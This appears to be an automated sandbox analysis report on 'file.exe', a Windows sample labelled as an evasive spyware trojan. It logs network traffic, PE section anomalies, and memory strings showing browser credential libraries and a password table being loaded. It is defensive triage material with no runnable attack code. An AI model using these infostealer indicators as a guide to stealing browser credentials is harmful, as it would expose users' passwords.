Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50114 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe, 00000000.00000002.2708177885.000000006FD72000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2707859010.000000006CCB5000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: kojemgsz ZLIB complexity 0.9949967581092928

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/284@26/23

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\1COCDE24.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\b059e91c-108f-48b9-80d3-babd63a7880a.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2576429213.000000001D379000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2472549858.000000001D378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707409198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
